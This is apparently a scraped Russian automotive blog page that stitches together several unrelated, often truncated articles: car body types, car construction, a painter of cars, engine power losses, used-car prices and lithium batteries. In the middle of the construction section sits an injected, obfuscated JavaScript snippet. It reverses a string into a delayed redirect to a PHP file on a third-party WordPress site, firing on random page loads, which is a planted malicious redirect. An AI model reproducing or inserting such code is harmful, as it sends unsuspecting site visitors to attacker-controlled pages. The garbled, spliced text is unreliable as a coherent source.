Позвольте задать вам вопрос, друзья. На что мы смотрим в первую очередь, выбирая для себя автомобиль? Кто-то скажет, на характеристики. Не буду спорить, поступают и так. А я вот могу утверждать с большой долей вероятности, на типы кузовов автомобилей с фото.
Подавляющее большинство из вас в первую очередь смотрит на форму и дизайн кузова. В этом есть не только эстетическая сторона, но и чисто практичный расчёт, ведь от типа кузова зависит вместимость авто, способность перевозить грузы и масса других нюансов.
А теперь второй вопрос – знаете ли вы, чем отличается седан от купе или лифтбек от хэтчбека?
Если теряетесь в догадках, тогда эта статья станет отличным наглядным пособием для вас. В ней мы рассмотрим типы кузовов и дадим их краткие описания.
Кузова: о чём нужно знать
За свою долгую историю автомобильная промышленность выдала на гора огромное количество самых разных типов кузовов. Многие из них стали достоянием истории и увидеть их теперь можно разве что на картинках или в музеях.
Наиболее ходовыми на сегодняшний день являются около 10 разновидностей, о которых мы сегодня и поговорим. Но, прежде чем перейдём к описаниям и наглядным фото, немного скучной теории.
Каким бы ни был кузов с точки зрения количества дверей, наличия или отсутствия крыши, а также дизайна, его всегда можно отнести к одной из трёх категорий компоновки, а именно:
однообъёмные – грубо говоря, в этом случае всё и все в автомобиле (двигатель, пассажиры, багаж) находятся внутри одного условного отсека кузова, без явных разделений;
двухобъёмные – здесь чётко выделяется капот, под которым находится силовой агрегат, а пассажирский отсек как бы объединён с багажным;
трёхобъёмные – тут у всех свои отсеки: чётко выраженные капот, салон для пассажиров и багажник.
Для наглядности приведём примеры по каждой категории. Яркими представителями первой являются сити-кары Smart.
Хотя для истинного купе наличие такого количество дверей – отступление от правил. Классические представители этого типа кузовов оснащены лишь двумя, также можно отметить у таких машин не слишком функциональный задний ряд сидений.
Если же в открытой машине всего два кресла, то тогда такой кузов именуют родстером. Отсутствие крыши лишь условно, на самом деле она есть, но складная, причём складываться может как тряпичный верх, так и жёсткий, изготовленный из привычного металла, но оборудованный сложным механизмом.
Признаком роскошной жизни является следующий наш герой. Лимузин. По сути, это седан, но с очень длинной колёсной базой. Помимо этого, для лимузина характерно наличие перегородки между водителем и пассажирским салоном.
Ещё один представитель трёхобъёмных кузовов — пикап. Главной его особенностью выступает открытый грузовой отсек. Благодаря своей практичности он давно стал любимчиком фермеров, строителей и предпринимателей, занимающихся перевозками некрупных грузов.
Переходим к двухобъёмным автомобилям. И одним из самых популярных их представителей является хетчбэк. У него может быть две, три или пять дверей, причём та самая нечётная дверь находится сзади и открывает доступ к багажному отделению.
Столько же дверей бывает и у универсала, но, правда, по сравнению с хетчбэком кузов у него гораздо длиннее. Помимо этого, он отличается и углом наклона остекления задней двери, так называемым свесом – у универсалов он заметно круче.
К двухобъёмникам относятся и лифтбэки. Внешне они очень похожи на седаны, иногда даже отличить их практически невозможно, но это пока мы не откроем крышку багажника. У лифтбэков она открывается вместе с задним стеклом.
Наш рассказ был бы неполным без популярных нынче во всём мире внедорожников и кроссоверов. Эти автомобили отличает высокая проходимость, правда, у вторых она менее выражена. У данного типа машин может два и даже три ряда сидений, также в порядке вещей полный привод, брутальный дизайн и высокая масса.
В завершение, друзья, несколько слов об однообъёмных кузовах. Кроме упомянутых выше сити-каров, к этому типу относят минивены и компактвэны. Данные авто из-за их вместительности очень любят большие семьи. Как правило, они оборудованы тремя рядами кресел, иногда комплектуются сдвижными дверями.
Надеемся, в этой статье, уважаемые читатели, Вы нашли для себя что-нибудь полезное. А пока Вы читали её, мы уже подготовили к публикации новый, интересный материал. Подписывайтесь, чтобы не пропустить!
Мы с Вами прекрасно понимаем, что личный транспорт давно перестал быть роскошью, и превратился в ежедневное средство передвижения. Поэтому знать его строение не только полезно для эрудиции, но и просто необходимо.
Конечно, в одной статье охватить все узлы машины и детально рассказать о каждом агрегате невозможно. Это сложный механическо-электронный организм. Тем не менее, сегодня мы попробуем кратко пройтись по основным его составляющим.
Устройство современного автомобиля. Кузов — основа основ
Раз мы уже сравнили машину с организмом, то и начинать его описание следует с остова-скелета, коим в легковом автомобиле является кузов.
Именно на него крепятся все остальные детали и узлы, поэтому он заслуживает отдельного внимания.
$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/transmissiya.html» target=»_blank» rel=»noopener noreferrer»>Трансмиссию можно разделить на такие составляющие части:
Всё это разнообразие создавалось с одной целью — обеспечить наш с вами комфорт и удобство в управлении автомобилем.
Дорогие друзья, мы с вами вкратце рассмотрели устройство современного автомобиля, его основные части современного легкового автомобиля.
В публикациях сайта мы более детально рассказываем о каждом элементе, узле и агрегате, изучаем их разновидности, особенности работы, достоинства и недостатки.
Чтобы не пропустить свежие статьи, а также делитесь ссылками на него со своими друзьями.
До новых встреч, изучайте автомобили вместе с нами!
Шерил Келли, невероятная художница из Техаса. Она рисует картины так безупречно, что даже кажется они реалистичнее, чем современные фотографии. Этот мастерский стиль просто завораживает, даже хочется сказать, это гиперреалистично.
Шерил влюблена в автомобили, она восхищается их красотой не зависимо от того, когда они были выпущены. Будь то ретро автомобиль или супер современный.
Её кисть просто поражает, она влюбляет в любой автомобиль, который коснется её кисти. Безупречная детализация приводит в восторг даже самого равнодушного человека.
Интересная техника этой художницы. Она говорит, такая суперреалистичность и глянцевость достигается маслянными красками на алюминиевой поверхности.
Задумывались ли вы где теряется мощность двигателя? сколько мощности забирает дополнительное оборудование — генератор, кондиционер, гидроусилитель и так далее?
Изучая характеристику автомобиля, мы всегда видим максимальную мощность двигателя, выраженную в лошадиных силах и киловаттах
А как влияет на мощность работа всех необходимых систем, которые приходится крутить двигателю?
ГУР всегда отбирает мощность двигателя, не говоря о его непосредственной работе, даже при холостом ходу на автомобиле без движения съедает от 0,2 до 0,5 л.с.
Теперь про отбираемую мощность электроусилителя. По сути усилие на рулевое управление остается таким же, как и при использовании ГУРа, а по закону сохранения энергии и затраченная электрическая энергия остается в тех же объемах. То есть усилие двигателя, затраченное на раскрутку генератора остается в тех же пределах, от 2 до 4 л.с.
Мощность двигателя теряется от работы генератора
При работе двигателя автомобиля генератор вырабатывает 13,8 — 14,0 Вольт. По мощности они бывают разными, от 80 до 140 Ампер. Если перевести в ватты, то 14 х 140 = 1960, примерно 2,0 кВт.
Но это еще не все. Расчеты разработчиков говорят что до 5% мощности теряется на ременные передачи.
Так что оказывается, климатические системы более всего нагружают двигатель, до 4,5 л.с. на средних автомобилях и до 6,5 л.с. на больших.
Отбор мощности водяным насосом
Водяной насос – ПОМПА. Самый важный механизм двигателя, обеспечивающий стабильный температурный режим работы. Тоже всегда в постоянной работе и всегда забирающий определенную мощность двигателя.
По конструкции бывают и механические и электрические. К сведению: все больше автопроизводителей переходят на электрическую конструкцию водяного насоса. Это обусловлено тем, что они более компактны, производительны и не требуют ременной передачи, что соответственно оптимизирует расход затраченной энергии на циркуляцию охлаждающей жидкости.
Исследуя механический вариант насосов конструктора, а именно Д.Крэйг, привели такие данные: 1000 об.мин. – 0,1 кВт/0,13 л.с. 2000 об.мин. – 0,8 кВт/1,1 л.с. 4000 об.мин. – 6,4 кВт/8 л.с.
Электрические помпы расходуют меньше, особенно на высоких оборотах.
Отбор мощности сажевым фильтром и катализатором
Современные автомобили теперь все поголовно оснащаются катализаторами и сажевыми фильтрами. Это продиктовано временем и экологической необходимостью.
Один миллион рублей, это много или мало? Имея такую сумму при себе пару лет назад, вы могли бы без лишних трудностей стать обладателем неплохой иномарки из салона да ещё и с приличной комплектацией. Подержанный автомобиль, вот на что можно рассчитывать при нынешних ценах.
На рынке б\у техники можно встретить очень вкусные предложения, подходящие такому бюджету.
Продажа подержанных автомобилей, это очень огромный рынок у нас в стране.
Чтобы более направленно разобраться с ним, мы решили взять лидеров продаж по России среди новых авто и проанализировать их стоимость на вторичном рынке. Итак, поехали.
Toyota RAV4
Открывает наш хит-парад Toyota RAV4. Вряд ли этому кроссоверу нужно отдельное представление, модель, однозначно, популярная. Что же мы получим за миллион?
Как правило, в рамках такой цены будет предложен аппарат не свежее 2013 года с пробегом под 100 тысяч километров.
Не исключено, что попадётся неплохая комплектация, но большинство предложений б/у RAV4 это передний привод, 2-х литровый мотор, механика или вариатор.
Литиевый аккумулятор для автомобиля. Когда речь заходит об автомобильных аккумуляторах, в нашей голове сразу же возникает образ большой свинцово-кислотной АКБ, которая занимает достаточно большое место под капотом.
Самое интересное, что за всю эру автомобилетсроения данный тип батарей оставался верным спутником машины, даже не смотря на то, что на дворе ХХI век и изобретена масса других, более компактных и современных типов аккумуляторов.
К примеру, литий-ионные, встретить которые можно в любом мобильном телефоне. Почему же автопроизводители очень неохотно используют их в своей продукции? Неужели машины навсегда останутся с допотопными свинцово-кислотными АКБ?
Давайте разберёмся с этими вопросами и выясним, почему литиевый аккумулятор для автомобиля это невероятная экзотика.
Литиевый аккумулятор для автомобиля — классика или современность?
Поразительно, но тот тип батарей, которые повсеместно устанавливается в автомобили, был изобретён более века назад.
Конечно же, его внешний вид и конструктив постоянно совершенствовались, и сейчас это надёжные устройства, которые при должном внимании не подведут, но… Но они громоздкие, тяжёлые и зачастую требую внимания.
Почему же не использовать литий-ионный аккумулятор для автомобиля? Это современный тип батарей, они компактные, лёгкие и достаточно долговечные. На самом деле их можно встретить в автопроме, правда, не в массовом.